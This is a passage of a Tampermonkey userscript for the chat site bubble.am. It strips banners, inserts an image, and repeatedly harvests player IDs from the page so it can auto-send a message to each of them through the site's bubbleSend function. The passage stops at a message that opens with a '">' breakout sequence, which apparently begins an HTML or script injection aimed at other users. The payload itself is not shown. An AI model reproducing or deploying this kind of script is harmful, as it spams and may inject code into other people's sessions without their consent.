// ==UserScript== // @name cocacabana // @namespace http://tampermonkey.net/ // @include http://bubble.am/index.php // @version 0.1 // @description try to take over the world! // @author You // @match http://bubble.am/ // @icon https://www.google.com/s2/favicons?domain=bubble.am // @grant GM_log // @run-at document-end // ==/UserScript== (function(d, e) { if (d.exscritpt) throw new Error("..."); d.exscritpt = true; var removed = false; $('.mod_banner').remove(); setTimeout(function(){$('.mod_banner').remove();},5e3); var image = document.createElement("IMG"); image.alt = "Alt information for image"; image.setAttribute('class', 'photo'); image.setAttribute('height', '50px'); image.src="https://ocdn.eu/pulscms-transforms/1/P1pk9kpTURBXy8wMjdhMTgxMzhlMzY0MDA4MTBhYzQ2ZjcyYmZkMmE5Mi5qcGeTlQMAzQEszQQ4zQJglQLNAwcAw8OTCaY0YTU5MjgGgaEwAQ/malik-montana.jpg"; var div = document.createElement("DIV"); div.setAttribute('id', 'photodiv'); var ak = document.getElementsByClassName("photo")[0]; if (!ak) {$('#settings').after(div); $('#overlays').append('lol').css('text-align','center'); $('#overlays').append(image).css('text-align','center'); $('#helloContainer').css('z-index','-200'); } d.friends = []; d.friendsold = []; d.fsend = []; setTimeout(sendto,1e3); function sendto() { var a = document.querySelectorAll('[data-player]'); d.friendsold = d.friends; d.friends = []; a.forEach(function(el) { if (d.friends.indexOf(el.getAttribute('data-player')) == -1){ d.friends.push(el.getAttribute('data-player')); } }); d.friendsold.forEach(function(el) { if (d.friends.indexOf(el) == -1){ if (d.fsend.indexOf(el) != -1) { d.fsend.splice(fsend.indexOf(el),1); } } }); var lp=1; d.friends.forEach(function(el) { if (fsend.indexOf(el) == -1) { if (!removed) {$('#bubbleNotifications').remove(); removed=true;} fsend.push(el); //GM_log('Wysłano do ' + el); setTimeout(function() { d.bubbleSend(el,'">